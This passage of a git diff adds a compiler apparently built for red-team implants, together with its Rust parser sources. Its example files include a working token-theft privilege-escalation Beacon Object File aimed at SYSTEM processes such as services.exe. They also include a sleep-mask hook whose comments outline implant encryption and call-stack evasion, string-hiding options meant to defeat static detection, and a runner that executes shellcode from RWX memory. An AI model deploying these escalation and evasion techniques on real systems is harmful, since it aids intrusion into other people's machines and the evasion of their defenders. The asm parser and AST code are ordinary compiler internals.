(char*)pe.szExeFile)); + count = count + 1; + ok = stackspoof_call2(pProcNext, snap, (u64)&pe); + } + stackspoof_call1(pCloseHandle, snap); + BeaconPrintf(0, str.format("[+] enumerated {d} processes\n", count)); + ret; +} diff --git a/examples/bof_sleep_mask_demo.etpy b/examples/bof_sleep_mask_demo.etpy new file mode 100644 index 0000000..03afe1a --- /dev/null +++ b/examples/bof_sleep_mask_demo.etpy @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_sleep_mask_demo.etpy - operator-defined sleep mask. +// +// Demonstrates the `stdlib/opsec/sleep_mask.etpy` interface: the +// operator declares a `[Hook("KERNEL32$Sleep")]` function; the +// compiler routes every `Kernel32.Sleep(...)` through it. Self- +// recursion inside the hook calls the REAL Sleep - the hook +// machinery's auto-bypass makes the natural `Kernel32.Sleep(...)` +// inside the body Just Work without an infinite loop. +// +// Build: entc compile example/bof_sleep_mask_demo.etpy --type=bof +// Run: bof-runner example/bof_sleep_mask_demo.obj +// +// Expected output: +// +// [BOF] [+] secret = AAAAAAAAAAAAAAAA +// [BOF] [HOOK] sleeping 100 ms, mask key=0x5a +// [BOF] [HOOK] re-encrypting the scratch region +// [BOF] [HOOK] (real Sleep happens here) +// [BOF] [HOOK] decrypting +// [BOF] [+] secret after sleep = AAAAAAAAAAAAAAAA +// + +use bof; +use opsec_sleep_mask; + +// A piece of "secret" data we'll mask across the sleep. In a real mplant this would be the implant body itself (.bin contents). For the demo we keep it small + on the heap. +static __demo_secret_size: int = 16; + +fn make_secret() -> u64 { + var p: u64 = mem.alloc(16); + var b: char* = (char*)p; + var i: int = 0; + while i < 16 { + b[i] = (u8)0x41; // 'A' + i = i + 1; + } + ret p; +} + +// Sleep mask. Every Kernel32.Sleep(ms) call site in the program +// is redirected here at compile time by the [Hook] machinery. +// The body manipulates the demo secret around a call to the real +// Sleep (the self-recursion bypass turns the inner Kernel32.Sleep into a normal dispatch skipping this hook). +// +// Operators replace the body with: +// 1. Resolve the implant's runtime base + length (operator-known) +// 2. Encrypt with whatever cipher they want (AES / XOR) +// 3. VirtualProtect to RW (drop execute) +// 4. Call the real Sleep or a different sleep primitive that +// doesnt show up as a Sleep frame on the call stack (e.g. CreateTimerQueueTimer + NtContinue / Ekko) +// 5. VirtualProtect to restore. +// 6. Decrypt +static __demo_secret_ptr: u64 = 0; + +[Hook("KERNEL32$Sleep")] +fn my_sleep_mask(ms: u32) -> void { + BeaconPrintf(0, str.format("[HOOK] sleeping {d} ms, mask key=0x5a\n", (int)ms)); + var key: u8 = (u8)0x5A; + + // Encrypt: flip every byte with the key. + BeaconPrintf(0, "[HOOK] re-encrypting the scratch region\n"); + opsec_xor_region(__demo_secret_ptr, (u64)__demo_secret_size, key); + + // Call the REAL Sleep. The hook self-recursion bypass turns this into a normal Kernel32.Sleep dispatch (no infinite loop back into us) + BeaconPrintf(0, "[HOOK] (real Sleep happens here)\n"); + Kernel32.Sleep(ms); + + // Decrypt. XOR is involutive, same key undoes the masking. + BeaconPrintf(0, "[HOOK] decrypting\n"); + opsec_xor_region(__demo_secret_ptr, (u64)__demo_secret_size, key); + ret; +} + +fn go(args: char*, len: int) -> void { + __demo_secret_ptr = make_secret(); + var as_bytes: char* = (char*)__demo_secret_ptr; + BeaconPrintf(0, str.format("[+] secret = {s}\n", as_bytes)); + + // The Sleep below goes through `my_sleep_mask` automatically the operator's code stays clean + Kernel32.Sleep(100); + + BeaconPrintf(0, str.format("[+] secret after sleep = {s}\n", as_bytes)); + ret; +} diff --git a/examples/bof_stack_strings_demo.etpy b/examples/bof_stack_strings_demo.etpy new file mode 100644 index 0000000..cfb536a --- /dev/null +++ b/examples/bof_stack_strings_demo.etpy @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_stack_strings_demo.etpy - exercise --opsec=stack_strings. +// +// Without the flag: each BeaconPrintf string goes into .rdata and shows up under strings immediately. +// +// With the flag: short literals are rebuilt on the stack at +// runtime via mov rax, imm64; mov [rbp+disp], rax sequences. +// strings finds nothing recognisable in .rdata. +// +// Build (try both, compare with strings): +// entc compile example/bof_stack_strings_demo.etpy --type=bof +// entc compile example/bof_stack_strings_demo.etpy --type=bof --opsec=stack_strings +// strings example/bof_stack_strings_demo.x64.o | grep -E "hello|signature|tripwire" +// Run: +// bof-runner example/bof_stack_strings_demo.x64.o + +use bof; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, "hello from a stack string\n"); + BeaconPrintf(0, "another signature line\n"); + BeaconPrintf(0, "tripwire: this should NOT appear in .rdata\n"); + ret; +} diff --git a/examples/bof_stage_test.etpy b/examples/bof_stage_test.etpy new file mode 100644 index 0000000..5edb046 --- /dev/null +++ b/examples/bof_stage_test.etpy @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_stage_test.etpy - exercises [Stage(Init)] / [Stage(Exit)] +// lifecycle hooks. Demonstrates the OPSEC developer API: +// +// The init handler runs ONCE before user code, can call Win32. +// The exit handler runs ONCE before the entry returns, can call +// Win32, preserves the return value. + +use bof; + +static __init_counter: int = 0; +static __exit_counter: int = 0; + +[Stage(Init)] +fn opsec_init_a() -> void { + __init_counter = __init_counter + 1; + BeaconPrintf(0, "[INIT-A] before user code\n"); + ret; +} + +[Stage(Init)] +fn opsec_init_b() -> void { + __init_counter = __init_counter + 10; + BeaconPrintf(0, "[INIT-B] also before user code\n"); + ret; +} + +[Stage(Exit)] +fn opsec_exit_a() -> void { + __exit_counter = __exit_counter + 1; + BeaconPrintf(0, "[EXIT-A] just before ret\n"); + ret; +} + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, str.format("[USER] running: init_counter={d}\n", __init_counter)); + ret; +} diff --git a/examples/bof_token_steal.etpy b/examples/bof_token_steal.etpy new file mode 100644 index 0000000..03ed7cd --- /dev/null +++ b/examples/bof_token_steal.etpy @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_token_steal.etpy - privilege escalation via token theft. +// +// Same tradecraft as TrustedSec's `steal_token` BOF; ~80 lines +// instead of ~400 because: +// * the language already lowers structured-binding calls to the +// Win64 ABI (no manual rcx/rdx juggling); +// * BeaconUseToken / BeaconRevertToken are typed extern fns out +// of `use bof;` - no header wrestling; +// * the inline struct decl matches the OS ABI directly. +// +// Build: entc compile example/bof_token_steal.etpy --type=bof +// Args: --iarg (target process; required) +// Run: bof-runner example/bof_token_steal.obj --iarg 1648 # services.exe +// +// Pre-conditions: +// * SeDebugPrivilege on the calling token (admin / SYSTEM). +// * The target's primary token must be impersonatable (which +// it is for any process whose owner SID we hold or which is +// SecurityImpersonation-class - services.exe always works). + + +use bof; + +fn go(args: char*, len: int) -> void { + + var parser: datap; + BeaconDataParse(&parser, args, len); + var pid: int = BeaconDataInt(&parser); + + if pid == 0 { + BeaconPrintf(0, "[!] usage: token_steal \n"); + BeaconPrintf(0, " pick a SYSTEM-owned PID via the `ps` BOF first.\n"); + ret; + } + + BeaconPrintf(0, str.format("[+] targeting pid {d}\n", pid)); + + // Requires SeDebugPrivilege to open a SYSTEM-owned process. + var h_proc: u64 = (u64)Kernel32.OpenProcess( + PROCESS_QUERY_INFORMATION, 0, (u32)pid); + if h_proc == 0 { + BeaconPrintf(0, "[!] OpenProcess failed (need SeDebugPrivilege)\n"); + ret; + } + + var h_token: u64 = 0; + var ok: int = Advapi32.OpenProcessToken( + (void*)h_proc, + TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE, + &h_token); + if ok == 0 { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, "[!] OpenProcessToken failed\n"); + ret; + } + + var h_dup: u64 = 0; + ok = Advapi32.DuplicateTokenEx((void*)h_token, 0, (void*)0, 2, 2, &h_dup); + + // Source token + process handle no longer needed once the duplicate is in hand. Close in reverse order of opening so a leak in DuplicateTokenEx doesn't strand them. + Kernel32.CloseHandle((void*)h_token); + Kernel32.CloseHandle((void*)h_proc); + + if ok == 0 || h_dup == 0 { + BeaconPrintf(0, "[!] DuplicateTokenEx failed\n"); + ret; + } + + // BeaconUseToken installs the impersonation token as the identity used for subsequent BOFs + commands. + var used: bool = BeaconUseToken((void*)h_dup); + if used == false { + Kernel32.CloseHandle((void*)h_dup); + BeaconPrintf(0, "[!] BeaconUseToken refused the token\n"); + ret; + } + + BeaconPrintf(0, str.format("[+] token from pid {d} installed\n", pid)); + BeaconPrintf(0, "[+] use `getuid` to confirm, `rev2self` to release\n"); + ret; +} diff --git a/examples/bof_veh_test.etpy b/examples/bof_veh_test.etpy new file mode 100644 index 0000000..d0ef72e --- /dev/null +++ b/examples/bof_veh_test.etpy @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: Apache-2.0 + +use bof; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, "[*] Crashing...\n"); + + try { + var p: u32* = (u32*)0; + var v: u32 = *p; // EXCEPTION_ACCESS_VIOLATION + BeaconPrintf(0, str.format("[?] should not print: {d}\n", (int)v)); + } catch err { + BeaconPrintf(0, str.format("[+] caught exception 0x{x}\n", err)); + } + + BeaconPrintf(0, "[+] BOF survived - returning\n"); + ret; +} diff --git a/examples/opsec_string_test.etpy b/examples/opsec_string_test.etpy new file mode 100644 index 0000000..431de1f --- /dev/null +++ b/examples/opsec_string_test.etpy @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: Apache-2.0 +// opsec_string_test.etpy - non-UI verifier for --opsec=strings_xor. +// +// Build: +// entc compile example/opsec_string_test.etpy +// entc compile example/opsec_string_test.etpy --opsec=strings_xor --seed=42 +// Run: +// target/release/entc-debug.exe trace example/opsec_string_test.bin +// to expect exit code 0x4F4B ("OK" big-endian) on success. + +fn main() -> int { + // The string literal goes into .rdata. + //With --opsec=strings_xor the bytes are XOR-encrypted at build time, the decryptor runs at entry, and by the time we reach this line the string is back to plaintext. + // If decryption failed, the byte we compare against below won't match O (0x4F). + var s: char* = (char*)"OK"; + var b0: int = (int)s[0]; + var b1: int = (int)s[1]; + // Return 0x4F4B if both bytes match otherwise 0xBAD + if b0 == 0x4F { + if b1 == 0x4B { + ret 0x4F4B; + } + } + ret 0xBAD; +} diff --git a/examples/sc_manual_mem.etpy b/examples/sc_manual_mem.etpy new file mode 100644 index 0000000..0bb2ec4 --- /dev/null +++ b/examples/sc_manual_mem.etpy @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: Apache-2.0 +// sc_manual_mem.etpy - standard shellcode test for --gc=manual. + +fn main() -> int { + var buf: u64 = mem.alloc(64); + if buf == 0 { ret 1; } + var b: u8* = (u8*)buf; + b[0] = (u8)0x41; + var first: int = (int)b[0]; + mem.free(buf); + Kernel32.ExitProcess(0); + ret first; +} diff --git a/examples/sc_stack_strings_demo.etpy b/examples/sc_stack_strings_demo.etpy new file mode 100644 index 0000000..e016363 --- /dev/null +++ b/examples/sc_stack_strings_demo.etpy @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: Apache-2.0 +// sc_stack_strings_demo.etpy - verify `--opsec=stack_strings` in +// standard shellcode mode. +// +// entc compile example/sc_stack_strings_demo.etpy --opsec=stack_strings +// strings example/sc_stack_strings_demo.bin + +fn main() -> int { + var s1: str = "shellcode hidden marker 1\n"; + var s2: str = "shellcode hidden marker 2\n"; + + ret 0; +} diff --git a/run_bin.rs b/run_bin.rs new file mode 100644 index 0000000..d64d07a --- /dev/null +++ b/run_bin.rs @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: Apache-2.0 +// run_bin.rs — load an EntropyKit .bin and execute it. Linux x86-64 only. +// Build: rustc -O run_bin.rs -o run_bin +// Use: ./run_bin example/gc_demo.bin +// +// On Windows the equivalent is the bundled `example/sclauncher64.exe`, +// which does VirtualAlloc(PAGE_EXECUTE_READWRITE) + memcpy + call. + +use std::env; +use std::ffi::c_void; +use std::fs; + +extern "C" { + fn mmap(addr: *mut c_void, len: usize, prot: i32, flags: i32, fd: i32, off: i64) -> *mut c_void; + fn munmap(addr: *mut c_void, len: usize) -> i32; +} +const PROT_READ: i32 = 1; +const PROT_WRITE: i32 = 2; +const PROT_EXEC: i32 = 4; +const MAP_PRIVATE: i32 = 0x02; +const MAP_ANON: i32 = 0x20; + +fn main() { + let path = env::args().nth(1).expect("usage: run_bin "); + let bytes = fs::read(&path).expect("read"); + let len = (bytes.len() + 4095) & !4095; + + unsafe { + let p = mmap(std::ptr::null_mut(), len, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANON, -1, 0); + assert!(p as isize != -1, "mmap failed"); + std::ptr::copy_nonoverlapping(bytes.as_ptr(), p as *mut u8, bytes.len()); + + // EntropyKit emits Win64 calling convention (args in rcx/rdx/r8/r9). + // On Linux rcx isn't a "host services" pointer; main's prologue still + // saves it, but `shared.*` will see NULL and short-circuit to zero. + // For zero-arg main(), rcx is irrelevant — rax holds the return value. + let entry: extern "win64" fn() -> i64 = std::mem::transmute(p); + let result = entry(); + println!("returned: {} (0x{:x})", result, result); + + munmap(p, len); + } +} diff --git a/src/asm.rs b/src/asm.rs new file mode 100644 index 0000000..9703b72 --- /dev/null +++ b/src/asm.rs @@ -0,0 +1,368 @@ + +use crate::encoder::{Reg64, Segment}; + +// AST +#[derive(Debug, Clone)] +pub enum AsmOperand { + Reg(Reg64), + Imm(i64), + /// %name - resolved at codegen against the enclosing scope. + Sym(String), + Mem(AsmMem), +} + +/// [base ± index*scale ± disp]. Components are optional. +#[derive(Debug, Clone)] +pub struct AsmMem { + /// Register or %name (mutually exclusive in V1). + pub base: Option, + /// (register, scale). Scale ∈ {1,2,4,8}. + pub index: Option<(Reg64, u32)>, + pub disp: i32, + /// gs: / fs: override (None = flat segment). + pub seg: Option, +} + +#[derive(Debug, Clone)] +pub enum AsmMemBase { + Reg(Reg64), + Sym(String), +} + +/// Mnemonic is a string so the AST doesn't enumerate every variant; +/// codegen dispatches per-mnemonic. +#[derive(Debug, Clone)] +pub enum AsmBody { + Op0 { mnem: String }, + Op1 { mnem: String, op: AsmOperand }, + Op2 { mnem: String, dst: AsmOperand, src: AsmOperand }, + Label (String), + Db (Vec), +} + +/// Parsed asm line with source position for debug breadcrumbs. +/// line == 0 is "unknown" (synthetic / pre-parsed). +#[derive(Debug, Clone)] +pub struct AsmLine { + pub line: u32, + pub col: u32, + pub body: AsmBody, +} + +impl AsmLine { + #[allow(dead_code)] + pub fn from_body(body: AsmBody) -> Self { + Self { line: 0, col: 0, body } + } +} + + +// PARSER + +/// Parse one asm line. Forms: name:, db 0x..[, 0x..]*, or +/// mnem [operand[, operand]]. Empty lines are rejected. +pub fn parse_asm_line(line: &str) -> Result { + let trimmed = strip_trailing_comment(line).trim(); + if trimmed.is_empty() { return Err("empty asm line".into()); } + + // Label declaration: name: or name : + if let Some(name) = parse_label_decl(trimmed) { + return Ok(AsmBody::Label(name)); + } + + // db 0x.., 0x.. + if let Some(rest) = trimmed.strip_prefix("db ").or_else(|| trimmed.strip_prefix("db\t")) { + return parse_db(rest); + } + + // Generic mnemonic + comma-separated operands. + let (mnem, rest) = split_mnemonic(trimmed); + let operands = if rest.is_empty() { + Vec::new() + } else { + split_top_level_commas(rest)? + .iter() + .map(|s| parse_operand(s.trim())) + .collect::, _>>()? + }; + + let mnem = mnem.to_ascii_lowercase(); + match operands.len() { + 0 => Ok(AsmBody::Op0 { mnem }), + 1 => Ok(AsmBody::Op1 { mnem, op: operands.into_iter().next().unwrap() }), + 2 => { + let mut it = operands.into_iter(); + let dst = it.next().unwrap(); + let src = it.next().unwrap(); + Ok(AsmBody::Op2 { mnem, dst, src }) + } + n => Err(format!("`{mnem}` takes 0/1/2 operands, got {n}")), + } +} + +/// Strip // ... from EOL. The host parser already removes // +/// from source-level tokens; this catches comments appended to +/// individual asm lines. +fn strip_trailing_comment(line: &str) -> &str { + if let Some(idx) = line.find("//") { return &line[..idx]; } + line +} + +/// name: -> bare label name. Anything else -> None. +fn parse_label_decl(s: &str) -> Option { + let body = s.strip_suffix(':')?; + let name = body.trim(); + if name.is_empty() { return None; } + validate_ident(name).ok()?; + Some(name.to_string()) +} + +/// (mnemonic, rest). Mnemonic ends at the first whitespace. +fn split_mnemonic(s: &str) -> (&str, &str) { + let bytes = s.as_bytes(); + let mut i = 0; + while i < bytes.len() && !(bytes[i] as char).is_ascii_whitespace() { + i += 1; + } + let mnem = &s[..i]; + let rest = s[i..].trim_start(); + (mnem, rest) +} + +/// Comma-split, but respect [ ... ] so [rbp + 4*rax] doesn't tear. +fn split_top_level_commas(s: &str) -> Result, String> { + let mut out = Vec::new(); + let mut depth = 0; + let mut start = 0; + let bytes = s.as_bytes(); + for (i, &b) in bytes.iter().enumerate() { + match b { + b'[' | b'(' => depth += 1, + b']' | b')' => { + if depth == 0 { return Err("unmatched `]` / `)` in asm operand".into()); } + depth -= 1; + } + b',' if depth == 0 => { + out.push(&s[start..i]); + start = i + 1; + } + _ => {} + } + } + if depth != 0 { return Err("unmatched `[` / `(` in asm operand".into()); } + out.push(&s[start..]); + Ok(out) +} + +fn parse_db(rest: &str) -> Result { + let mut bytes = Vec::new(); + for piece in rest.split(',') { + let p = piece.trim(); + let val: i64 = parse_int_literal(p)?; + if !(0..=0xFF).contains(&val) { + return Err(format!("db value out of range: {p}")); + } + bytes.push(val as u8); + } + Ok(AsmBody::Db(bytes)) +} + +/// Decimal / hex / negative integer literal. Hex needs 0x prefix. +fn parse_int_literal(s: &str) -> Result { + let s = s.trim(); + if let Some(neg) = s.strip_prefix('-') { + let v = parse_int_literal(neg)?; + return Ok(v.wrapping_neg()); + } + if let Some(h) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) { + return u64::from_str_radix(h, 16) + .map(|v| v as i64) + .map_err(|e| format!("bad hex literal `{s}`: {e}")); + } + s.parse::().map_err(|e| format!("bad integer `{s}`: {e}")) +} + +/// Routes by leading char: [ mem, % sym, digit/- imm, else reg. +fn parse_operand(s: &str) -> Result { + let s = s.trim(); + if s.is_empty() { return Err("empty operand".into()); } + if s.starts_with('[') { + return parse_mem_operand(s, None); + } + // gs:[...] / fs:[...] + if let Some(rest) = strip_seg_prefix(s) { + let (seg, body) = rest; + if !body.starts_with('[') { + return Err(format!( + "asm: segment override `{}:` must be followed by `[ ... ]`", + match seg { Segment::Fs => "fs", Segment::Gs => "gs" } + )); + } + return parse_mem_operand(body, Some(seg)); + } + if let Some(name) = s.strip_prefix('%') { + let name = name.trim(); + if name.is_empty() { + return Err("`%` operand: missing name".into()); + } + validate_ident(name)?; + return Ok(AsmOperand::Sym(name.to_string())); + } + if s.starts_with('-') || s.as_bytes()[0].is_ascii_digit() { + return Ok(AsmOperand::Imm(parse_int_literal(s)?)); + } + // Register name - strictly lowercase to match Reg64::from_name. + let lower = s.to_ascii_lowercase(); + if let Some(r) = Reg64::from_name(&lower) { + return Ok(AsmOperand::Reg(r)); + } + // Bare identifier - equivalent to %name. The % prefix is + // available for names that could collide with a register. + if validate_ident(s).is_ok() { + return Ok(AsmOperand::Sym(s.to_string())); + } + Err(format!("unknown operand `{s}` - expected register, immediate, %name, [mem], or label")) +} + +/// Strip a fs: / gs: prefix (case-insensitive). Returns +/// (seg, rest) or None. +fn strip_seg_prefix(s: &str) -> Option<(Segment, &str)> { + let bytes = s.as_bytes(); + if bytes.len() < 3 || bytes[2] != b':' { return None; } + let head = &s[..2]; + let seg = match head { + "fs" | "Fs" | "fS" | "FS" => Segment::Fs, + "gs" | "Gs" | "gS" | "GS" => Segment::Gs, + _ => return None, + }; + Some((seg, s[3..].trim_start())) +} + +/// [reg], [reg ± imm], [reg + reg[*N]], [reg + reg*N ± imm], +/// [%name], [%name ± imm]. Scale ∈ {1,2,4,8}. +fn parse_mem_operand(s: &str, seg: Option) -> Result { + let body = s.strip_prefix('[') + .and_then(|r| r.strip_suffix(']')) + .ok_or_else(|| format!("memory operand must be `[ ... ]` (got `{s}`)"))? + .trim(); + if body.is_empty() { + return Err("empty `[]` memory operand".into()); + } + + let mut mem = AsmMem { base: None, index: None, disp: 0, seg }; + // Walk +/- separated terms. First term is implicitly positive. + let mut cursor = 0usize; + let bytes = body.as_bytes(); + let mut sign: i64 = 1; + let mut first = true; + while cursor < bytes.len() { + while cursor < bytes.len() && (bytes[cursor] as char).is_ascii_whitespace() { + cursor += 1; + } + if cursor >= bytes.len() { break; } + if !first { + match bytes[cursor] { + b'+' => { sign = 1; cursor += 1; } + b'-' => { sign = -1; cursor += 1; } + _ => return Err(format!( + "mem operand: expected `+` or `-` between terms in `[{body}]`" + )), + } + while cursor < bytes.len() && (bytes[cursor] as char).is_ascii_whitespace() { + cursor += 1; + } + } + first = false; + + // Term ends at the next +/- at the top level. + let term_start = cursor; + while cursor < bytes.len() && bytes[cursor] != b'+' && bytes[cursor] != b'-' { + cursor += 1; + } + let term = body[term_start..cursor].trim(); + if term.is_empty() { + return Err(format!("mem operand: empty term in `[{body}]`")); + } + apply_mem_term(&mut mem, term, sign, body)?; + } + + Ok(AsmOperand::Mem(mem)) +} + +/// Fold one term: reg -> base, reg*N -> index, imm -> disp, +/// %name -> sym base. +fn apply_mem_term(mem: &mut AsmMem, term: &str, sign: i64, full: &str) -> Result<(), String> { + // Scaled index: reg * N + if let Some(star) = term.find('*') { + let left = term[..star].trim(); + let right = term[star + 1..].trim(); + let reg = Reg64::from_name(&left.to_ascii_lowercase()) + .ok_or_else(|| format!("mem operand: `{left}*…` left side must be a register"))?; + let scale = parse_int_literal(right)? as u32; + if !matches!(scale, 1 | 2 | 4 | 8) { + return Err(format!( + "mem operand: scale must be 1/2/4/8 (got {scale}) in `[{full}]`" + )); + } + if mem.index.is_some() { + return Err(format!("mem operand: multiple index terms in `[{full}]`")); + } + mem.index = Some((reg, scale)); + return Ok(()); + } + // %name + if let Some(name) = term.strip_prefix('%') { + let name = name.trim(); + validate_ident(name)?; + if mem.base.is_some() { + return Err(format!("mem operand: two bases in `[{full}]`")); + } + mem.base = Some(AsmMemBase::Sym(name.to_string())); + return Ok(()); + } + // Register + let lower = term.to_ascii_lowercase(); + if let Some(reg) = Reg64::from_name(&lower) { + if mem.base.is_some() { + // Second register becomes the index (scale 1). + if mem.index.is_some() { + return Err(format!( + "mem operand: too many register terms in `[{full}]`" + )); + } + mem.index = Some((reg, 1)); + } else { + mem.base = Some(AsmMemBase::Reg(reg)); + } + return Ok(()); + } + // Otherwise: integer literal contributing to disp. + let v = parse_int_literal(term)?; + let signed = (sign as i64).wrapping_mul(v); + let new_disp = (mem.disp as i64).wrapping_add(signed); + if new_disp < i32::MIN as i64 || new_disp > i32::MAX as i64 { + return Err(format!("mem operand: disp out of range in `[{full}]`")); + } + mem.disp = new_disp as i32; + Ok(()) +} + +/// [A-Za-z_][A-Za-z0-9_]*. +fn validate_ident(s: &str) -> Result<(), String> { + let bytes = s.as_bytes(); + if bytes.is_empty() { + return Err("empty identifier".into()); + } + let first = bytes[0] as char; + if !(first.is_ascii_alphabetic() || first == '_') { + return Err(format!("identifier `{s}` must start with letter or `_`")); + } + for &b in &bytes[1..] { + let c = b as char; + if !(c.is_ascii_alphanumeric() || c == '_') { + return Err(format!("identifier `{s}` has invalid char `{c}`")); + } + } + Ok(()) +} + diff --git a/src/ast.rs b/src/ast.rs new file mode 100644 index 0000000..890d0c9 --- /dev/null +++ b/src/ast.rs @@ -0,0 +1,134 @@ +//! Abstract Syntax Tree + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub struct Span { + pub line: u32, + pub col: u32, +} + +impl Span { + pub fn new(line: u32, col: u32) -> Self { Self { line, col } } + pub fn is_unknown(self) -> bool { self.line == 0 && self.col == 0 } +} + +impl std::fmt::Display for Span { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + if self.is_unknown() { write!(f, "") } + else { write!(f, "{}:{}", self.line, self.col) } + } +} + +#[derive(Debug, Clone)] +pub enum Expr { + Int(i64), + Str(String), + Bool(bool), + Var(String), + Assign { name: String, value: Box }, + Unary { op: String, operand: Box }, + Binary { op: String, lhs: Box, rhs: Box }, + Call { ns: String, fname: String, args: Vec, span: Span }, + + /// base.field - struct field read. base evaluates to the struct's + /// address; the codegen offsets from it. + Field { base: Box, field: String }, + /// base.field = value - struct field write. + FieldAssign { base: Box, field: String, value: Box }, + /// *ptr = value - assignment through a pointer. The width of the + /// store is taken from the pointee type when knowable (e.g. ptr is a + /// u32* local), otherwise defaults to qword. + DerefAssign { ptr: Box, value: Box }, + /// (type) expr - C-style cast. V1 is a no-op at the machine level + /// (all scalars are 8-byte slots), kept as a syntactic marker so the + /// future type checker can validate intent. + Cast { ty: String, expr: Box }, + SizeOf { ty: String }, + /// base[index] - indexed read. base is a pointer or array (T* + /// or T[N]); the codegen multiplies index by sizeof to find + /// the byte offset, then emits a width-correct load. + Index { base: Box, index: Box }, + /// base[index] = value - indexed write. Mirrors Index for stores. + IndexAssign { base: Box, index: Box, value: Box }, + StructLit { ty: String, fields: Vec<(String, Expr)>, span: Span }, +} + +#[derive(Debug, Clone)] +pub enum Stmt { + Var { name: String, ty: String, value: Option, span: Span }, + Expr { value: Expr, span: Span }, + If { cond: Expr, then_body: Vec, else_body: Vec }, + While { cond: Expr, body: Vec }, + For { + init: Option>, + cond: Option, + step: Option>, + body: Vec, + }, + /// break; - exit the innermost enclosing for/while. + Break, + /// continue; - jump to the step (for) or condition (while) of the + /// innermost enclosing loop. + Continue, + Ret { value: Option, span: Span }, + + /// try { body } catch err { handler } - desugars to longjmp-style PIC. + Try { body: Vec, err_name: String, handler: Vec }, + + /// raise expr; - longjmp-style unwind. Evaluates expr into rax, + /// then jumps to the innermost installed try handler. With no + /// handler installed, the program returns 0xFF. + Raise { value: Expr, span: Span }, + + /// inline assembly: a sequence of parsed instructions plus raw bytes. + Asm (Vec), +} + +#[derive(Debug, Clone)] +pub struct Param { pub name: String, pub ty: String } + +#[derive(Debug, Clone)] +pub struct Attr { + pub kind: String, + pub arg: Option, +} + +#[derive(Debug, Clone)] +pub struct Function { + pub name: String, + pub params: Vec, + pub ret_ty: String, + pub body: Vec, + /// Function-level attributes parsed from [Attr] prefixes. + /// Order is preserved. + pub attrs: Vec, + pub is_extern: bool, +} + +#[derive(Debug, Clone)] +pub struct StaticDecl { + pub name: String, + pub ty: String, + pub init: Option, +} + +#[derive(Debug, Clone)] +pub struct StructDef { + pub name: String, + pub fields: Vec<(String, String)>, // (field name, type name) + pub is_union: bool, + pub attrs: Vec, +} + +#[derive(Debug, Clone, Default)] +pub struct Program { + pub structs: Vec, + pub statics: Vec, + pub functions: Vec, + pub enums: Vec, +} + +#[derive(Debug, Clone)] +pub struct EnumDecl { + pub name: String, + pub variants: Vec<(String, i64)>, +} diff --git a/src/cimport.rs b/src/cimport.rs new file mode 100644 index 0000000..01367e5 --- /dev/null +++ b/src/cimport.rs @@ -0,0 +1,687 @@ + +use std::fs; + +use crate::ast::{Expr, StaticDecl, StructDef}; + +/// Output of parsing one C header. +#[derive(Debug, Default)] +pub struct CImport { + pub statics: Vec, + pub structs: Vec, +} + +/// Parse a header at path and produce Entropia AST nodes. +pub fn parse_header(path: &str) -> Result { + let src = fs::read_to_string(path) + .map_err(|e| format!("use_c `{path}`: {e}"))?; + let mut p = CParser::new(&src, path); + p.parse_all()?; + Ok(p.out) +} + +// TOKENIZER +#[derive(Debug, Clone, PartialEq)] +enum CTok { + Ident(String), + Int(i64), + Hash, // # + LBrace, RBrace, + LParen, RParen, + LBracket, RBracket, + Semi, + Comma, + Star, + Minus, + Eof, +} + +struct CTokenizer<'a> { + src: &'a [u8], + pos: usize, + line: u32, + path: String, +} + +impl<'a> CTokenizer<'a> { + fn new(src: &'a str, path: &str) -> Self { + Self { src: src.as_bytes(), pos: 0, line: 1, path: path.to_string() } + } + + fn err(&self, msg: &str) -> String { + format!("{}:{}: {}", self.path, self.line, msg) + } + + fn skip_ws_and_comments(&mut self) { + loop { + while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_whitespace() { + if self.src[self.pos] == b'\n' { self.line += 1; } + self.pos += 1; + } + if self.pos + 1 < self.src.len() && self.src[self.pos] == b'/' && self.src[self.pos+1] == b'/' { + while self.pos < self.src.len() && self.src[self.pos] != b'\n' { self.pos += 1; } + continue; + } + if self.pos + 1 < self.src.len() && self.src[self.pos] == b'/' && self.src[self.pos+1] == b'*' { + self.pos += 2; + while self.pos + 1 < self.src.len() + && !(self.src[self.pos] == b'*' && self.src[self.pos+1] == b'/') + { + if self.src[self.pos] == b'\n' { self.line += 1; } + self.pos += 1; + } + if self.pos + 1 < self.src.len() { self.pos += 2; } + continue; + } + break; + } + } + + fn next(&mut self) -> Result { + self.skip_ws_and_comments(); + if self.pos >= self.src.len() { return Ok(CTok::Eof); } + let c = self.src[self.pos]; + + if (c as char).is_ascii_alphabetic() || c == b'_' { + let start = self.pos; + while self.pos < self.src.len() + && ((self.src[self.pos] as char).is_ascii_alphanumeric() + || self.src[self.pos] == b'_') + { + self.pos += 1; + } + let id = std::str::from_utf8(&self.src[start..self.pos]).unwrap().to_string(); + return Ok(CTok::Ident(id)); + } + + if (c as char).is_ascii_digit() { + let start = self.pos; + if c == b'0' && self.pos + 1 < self.src.len() + && (self.src[self.pos+1] == b'x' || self.src[self.pos+1] == b'X') + { + self.pos += 2; + let hs = self.pos; + while self.pos < self.src.len() + && (self.src[self.pos] as char).is_ascii_hexdigit() + { + self.pos += 1; + } + let raw = std::str::from_utf8(&self.src[hs..self.pos]).unwrap(); + let v = u64::from_str_radix(raw, 16) + .map_err(|e| self.err(&format!("bad hex literal: {e}")))? as i64; + self.skip_int_suffix(); + return Ok(CTok::Int(v)); + } + while self.pos < self.src.len() && (self.src[self.pos] as 